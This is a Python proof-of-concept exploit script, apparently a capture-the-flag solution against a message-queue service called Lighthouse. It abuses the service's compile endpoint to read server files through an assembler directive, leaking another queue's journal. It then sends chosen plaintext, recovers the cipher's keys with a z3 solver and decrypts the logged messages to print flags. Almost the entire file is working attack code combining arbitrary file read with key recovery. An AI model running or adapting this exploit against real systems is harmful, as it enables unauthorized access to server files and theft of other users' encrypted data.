316 lines
12 KiB
Python
Executable File
316 lines
12 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
"""Lighthouse baseline local PoC. One explicit target and one queue hint."""
|
|
import base64
|
|
import json
|
|
import os
|
|
import random
|
|
import re
|
|
import sys
|
|
import time
|
|
import urllib.error
|
|
import urllib.request
|
|
from urllib.parse import urlparse
|
|
|
|
try:
|
|
import z3
|
|
except ImportError:
|
|
print("z3-solver is required in the runner", file=sys.stderr)
|
|
raise SystemExit(2)
|
|
|
|
MARKER = bytes.fromhex("4101410241034104")
|
|
END_MARKER = bytes.fromhex("4105410641074108")
|
|
UUID = re.compile(r"^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$")
|
|
HEX_LINES = re.compile(r"^ *[0-9a-f]+: ((?:[0-9a-f]{2} )+) *\t", re.M)
|
|
LINE = re.compile(rb"topic=([a-z0-9_.-]+) ciphertext=([0-9a-f]+)")
|
|
HTTP_CALLS = 0
|
|
COMPILE_CALLS = 0
|
|
HTTP_SECONDS = 0.0
|
|
SOLVE_SECONDS = 0.0
|
|
|
|
|
|
class Failure(Exception):
|
|
pass
|
|
|
|
|
|
def symbolic_f(x):
|
|
a, b, c, d = [z3.Extract(h, l, x) for h, l in ((31, 24), (23, 16), (15, 8), (7, 0))]
|
|
def g(u, v, carry):
|
|
return z3.RotateLeft(u + v + z3.BitVecVal(carry, 8), 2)
|
|
y1 = g(a ^ b, c ^ d, 1)
|
|
y2 = g(c ^ d, y1, 0)
|
|
return z3.Concat(g(a, y1, 0), y1, y2, g(d, y2, 1))
|
|
|
|
|
|
def f(x):
|
|
a, b, c, d = (x >> 24) & 255, (x >> 16) & 255, (x >> 8) & 255, x & 255
|
|
def g(u, v, carry):
|
|
value = (u + v + carry) & 255
|
|
return ((value << 2) | (value >> 6)) & 255
|
|
y1 = g(a ^ b, c ^ d, 1)
|
|
y2 = g(c ^ d, y1, 0)
|
|
return g(a, y1, 0) << 24 | y1 << 16 | y2 << 8 | g(d, y2, 1)
|
|
|
|
|
|
def solve_effective(pairs):
|
|
"""Recover equivalent six 32-bit block keys; eight xor groups, six pairs each."""
|
|
bv = lambda n: z3.BitVecVal(n, 32)
|
|
def checked(solver, variables):
|
|
solver.set(timeout=4000)
|
|
if solver.check() != z3.sat:
|
|
raise Failure("effective-key solver did not finish")
|
|
model = solver.model()
|
|
return [model.eval(v).as_long() for v in variables]
|
|
|
|
k3, kx = z3.BitVec("k3", 32), z3.BitVec("kx", 32)
|
|
dg = [z3.BitVec("d" + str(i), 32) for i in range(8)]
|
|
stage = z3.SolverFor("QF_BV")
|
|
for group in range(8):
|
|
for left, right, top, bottom in pairs[group]:
|
|
stage.add(bv(top) ^ symbolic_f(bv(top ^ bottom) ^ k3) ==
|
|
bv(left ^ right) ^ kx ^ symbolic_f(bv(left) ^ dg[group]))
|
|
k3v, kxv, *dgv = checked(stage, [k3, kx, *dg])
|
|
|
|
k2, k1 = z3.BitVec("k2", 32), z3.BitVec("k1", 32)
|
|
stage = z3.SolverFor("QF_BV")
|
|
for group in range(8):
|
|
for left, _right, top, bottom in pairs[group]:
|
|
y2 = top ^ bottom
|
|
y1 = bv(top) ^ symbolic_f(bv(y2 ^ k3v))
|
|
stage.add(bv(y2 ^ left) == bv(dgv[group]) ^ k1 ^ symbolic_f(y1 ^ k2))
|
|
k2v, k1v = checked(stage, [k2, k1])
|
|
|
|
cv = [d ^ k1v for d in dgv]
|
|
xv = [group[0][0] ^ group[0][1] ^ kxv for group in pairs]
|
|
k0 = z3.BitVec("k0", 32)
|
|
stage = z3.SolverFor("QF_BV")
|
|
for group in range(1, 8):
|
|
stage.add(bv(cv[0] ^ cv[group]) ==
|
|
symbolic_f(bv(xv[0]) ^ k0) ^ symbolic_f(bv(xv[group]) ^ k0))
|
|
(k0v,) = checked(stage, [k0])
|
|
k4v = cv[0] ^ f(xv[0] ^ k0v)
|
|
keys = [k0v, k1v, k2v, k3v, k4v, k4v ^ kxv]
|
|
for group in pairs:
|
|
for left, right, top, bottom in group:
|
|
x = left ^ keys[4] ^ right ^ keys[5]
|
|
y = (left ^ keys[4]) ^ f(x ^ keys[0])
|
|
for rnd in (1, 2):
|
|
x, y = y, x ^ f(y ^ keys[rnd])
|
|
last = x ^ f(y ^ keys[3])
|
|
if last != top or (last ^ y) != bottom:
|
|
raise Failure("recovered keys fail known-pair validation")
|
|
return keys
|
|
|
|
|
|
def decrypt(cipher_hex, keys):
|
|
raw = bytes.fromhex(cipher_hex.decode("ascii"))
|
|
if not raw or len(raw) % 8:
|
|
return b""
|
|
out = bytearray()
|
|
for i in range(0, len(raw), 8):
|
|
value = int.from_bytes(raw[i:i + 8], "big")
|
|
x = value >> 32
|
|
y = (value & 0xffffffff) ^ x
|
|
for rnd in (3, 2, 1):
|
|
x, y = y, x ^ f(y ^ keys[rnd])
|
|
first = x ^ f(y ^ keys[0])
|
|
out.extend((((first ^ keys[4]) << 32) | (first ^ y ^ keys[5])).to_bytes(8, "big"))
|
|
padding = out[-1]
|
|
if not 1 <= padding <= 8 or out[-padding:] != bytes([padding]) * padding:
|
|
return b""
|
|
return bytes(out[:-padding])
|
|
|
|
|
|
class Client:
|
|
def __init__(self, url, deadline):
|
|
self.url = url
|
|
self.deadline = deadline
|
|
self.compiler_queue = None
|
|
self.opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
|
|
|
|
def api(self, path, body=None):
|
|
global HTTP_CALLS, HTTP_SECONDS
|
|
left = self.deadline - time.monotonic()
|
|
if left <= 0:
|
|
raise Failure("time budget exceeded")
|
|
data = json.dumps(body).encode() if body is not None else None
|
|
request = urllib.request.Request(
|
|
self.url + path, data=data, headers={"Content-Type": "application/json"})
|
|
started = time.monotonic()
|
|
try:
|
|
HTTP_CALLS += 1
|
|
with self.opener.open(request, timeout=min(3, left)) as response:
|
|
return response.status, json.load(response)
|
|
except urllib.error.HTTPError as error:
|
|
try:
|
|
return error.code, json.load(error)
|
|
except ValueError:
|
|
raise Failure("non-JSON service error") from error
|
|
except (OSError, ValueError) as error:
|
|
raise Failure("HTTP request failed") from error
|
|
finally:
|
|
HTTP_SECONDS += time.monotonic() - started
|
|
|
|
def compile(self, path, offset, count):
|
|
global COMPILE_CALLS
|
|
COMPILE_CALLS += 1
|
|
asm = (".byte 0x41,0x01,0x41,0x02,0x41,0x03,0x41,0x04\n"
|
|
+ f'.incbin "{path}",{offset},{count}\n'
|
|
+ ".byte 0x41,0x05,0x41,0x06,0x41,0x07,0x41,0x08")
|
|
source = "int filter(int n) { __asm__(" + json.dumps(asm) + "); return 1; }"
|
|
return self.api(f"/api/queues/{self.compiler_queue}/filter",
|
|
{"source": source, "label": "probe"})
|
|
|
|
@staticmethod
|
|
def embedded_bytes(body):
|
|
listing = body.get("listing", "")
|
|
raw = bytes.fromhex("".join(m.group(1).replace(" ", "")
|
|
for m in HEX_LINES.finditer(listing)))
|
|
start = raw.find(MARKER)
|
|
end = raw.find(END_MARKER, start + len(MARKER)) if start >= 0 else -1
|
|
if start < 0 or end < 0:
|
|
raise Failure("compiler listing omitted journal markers")
|
|
return raw[start + len(MARKER):end]
|
|
|
|
def valid_offset(self, path, offset):
|
|
status, body = self.compile(path, offset, 1)
|
|
return status == 200 and len(self.embedded_bytes(body)) == 1
|
|
|
|
def file_size(self, path):
|
|
if not self.valid_offset(path, 0):
|
|
raise Failure("journal missing or compiler cannot read it")
|
|
low, high = 1, 2
|
|
while True:
|
|
if not self.valid_offset(path, high - 1):
|
|
break
|
|
low, high = high, high * 2
|
|
if high > 32 * 1024 * 1024:
|
|
raise Failure("journal exceeds bounded size probe")
|
|
while low < high:
|
|
mid = (low + high) // 2
|
|
if self.valid_offset(path, mid):
|
|
low = mid + 1
|
|
else:
|
|
high = mid
|
|
return low
|
|
|
|
def leak(self, path, start, end):
|
|
out = bytearray()
|
|
for offset in range(start, end, 192):
|
|
count = min(192, end - offset)
|
|
status, body = self.compile(path, offset, count)
|
|
if status != 200:
|
|
raise Failure("journal chunk compile failed")
|
|
leaked = self.embedded_bytes(body)
|
|
if len(leaked) != count:
|
|
raise Failure("compiler listing omitted journal bytes")
|
|
out.extend(leaked)
|
|
return bytes(out)
|
|
|
|
|
|
def main():
|
|
global SOLVE_SECONDS
|
|
if len(sys.argv) < 2:
|
|
raise Failure("usage: probe.py TARGET [QUEUE_UUID]")
|
|
target = sys.argv[1]
|
|
queue = sys.argv[2] if len(sys.argv) > 2 else os.getenv("LIGHTHOUSE_QUEUE_ID", "")
|
|
if not UUID.fullmatch(queue):
|
|
raise Failure("missing or invalid queue UUID hint")
|
|
if "://" not in target:
|
|
target = "http://" + target
|
|
parsed = urlparse(target)
|
|
if parsed.scheme not in ("http", "https") or not parsed.hostname:
|
|
raise Failure("invalid target")
|
|
port = parsed.port or 8085
|
|
base = f"{parsed.scheme}://{parsed.hostname}:{port}"
|
|
client = Client(base, time.monotonic() + 30)
|
|
status, info = client.api(f"/api/queues/{queue}")
|
|
if status != 200:
|
|
raise Failure("target queue unavailable")
|
|
day = info.get("created_at", "")[:10]
|
|
if not re.fullmatch(r"\d{4}-\d{2}-\d{2}", day):
|
|
raise Failure("invalid queue creation date")
|
|
journal = f"/var/log/lighthouse/{day}/{queue}.log"
|
|
status, attacker = client.api("/api/queues", {"label": "probe"})
|
|
if status != 201 or not UUID.fullmatch(attacker.get("id", "")):
|
|
raise Failure("cannot create compiler queue")
|
|
client.compiler_queue = attacker["id"]
|
|
size_before = client.file_size(journal)
|
|
|
|
rng = random.Random(753981)
|
|
groups, payload = [], bytearray()
|
|
for _ in range(8):
|
|
xor = rng.getrandbits(32)
|
|
group = []
|
|
for _ in range(6):
|
|
left = rng.getrandbits(32)
|
|
right = left ^ xor
|
|
group.append((left, right))
|
|
payload.extend(left.to_bytes(4, "big") + right.to_bytes(4, "big"))
|
|
groups.append(group)
|
|
topic = "probe" + os.urandom(4).hex()
|
|
status, sent = client.api(f"/api/queues/{queue}/messages",
|
|
{"message": base64.b64encode(payload).decode("ascii"),
|
|
"topic": topic})
|
|
if status != 201:
|
|
raise Failure("chosen plaintext delivery rejected")
|
|
cipher_length = sent.get("encrypted_length")
|
|
if cipher_length != (len(payload) + 8) * 2:
|
|
raise Failure("unexpected cipher length")
|
|
line_length = 20 + 7 + 36 + 7 + len(topic) + 12 + cipher_length + 1
|
|
probe_line = client.leak(journal, size_before, size_before + line_length)
|
|
match = next((m for m in LINE.finditer(probe_line)
|
|
if m.group(1) == topic.encode()), None)
|
|
if not match:
|
|
# Another writer may have appended between the size check and our message.
|
|
size_after = client.file_size(journal)
|
|
if size_after > size_before + 4096:
|
|
raise Failure("chosen message moved beyond bounded race window")
|
|
probe_line = client.leak(journal, size_before, size_after)
|
|
match = next((m for m in LINE.finditer(probe_line)
|
|
if m.group(1) == topic.encode()), None)
|
|
if not match or len(match.group(2)) != cipher_length:
|
|
raise Failure("chosen ciphertext missing from journal")
|
|
cipher = match.group(2)
|
|
pairs = []
|
|
for group_index, group in enumerate(groups):
|
|
solved_group = []
|
|
for index, (left, right) in enumerate(group):
|
|
value = int(cipher[(group_index * 6 + index) * 16:
|
|
(group_index * 6 + index + 1) * 16], 16)
|
|
solved_group.append((left, right, value >> 32, value & 0xffffffff))
|
|
pairs.append(solved_group)
|
|
solve_started = time.monotonic()
|
|
keys = solve_effective(pairs)
|
|
SOLVE_SECONDS = time.monotonic() - solve_started
|
|
flag_regex = re.compile(os.getenv("LIGHTHOUSE_FLAG_REGEX",
|
|
r"[A-Z0-9]{31}=").encode("ascii"))
|
|
seen = set()
|
|
step = 2048
|
|
for end in range(size_before, max(-1, size_before - 8192), -step):
|
|
start = max(0, end - step)
|
|
data = client.leak(journal, start, end)
|
|
for item in reversed(list(LINE.finditer(data))):
|
|
plain = decrypt(item.group(2), keys)
|
|
for found in flag_regex.findall(plain):
|
|
if found not in seen:
|
|
seen.add(found)
|
|
print(found.decode("ascii"), flush=True)
|
|
if seen or start == 0:
|
|
break
|
|
if not seen:
|
|
print("no matching flag in bounded journal tail", file=sys.stderr)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
started = time.monotonic()
|
|
try:
|
|
main()
|
|
except Failure as error:
|
|
print(str(error), file=sys.stderr)
|
|
raise SystemExit(1)
|
|
finally:
|
|
print(f"elapsed={time.monotonic() - started:.3f}s "
|
|
f"http={HTTP_CALLS} compile={COMPILE_CALLS} "
|
|
f"http_seconds={HTTP_SECONDS:.3f} solve_seconds={SOLVE_SECONDS:.3f}",
|
|
file=sys.stderr)
|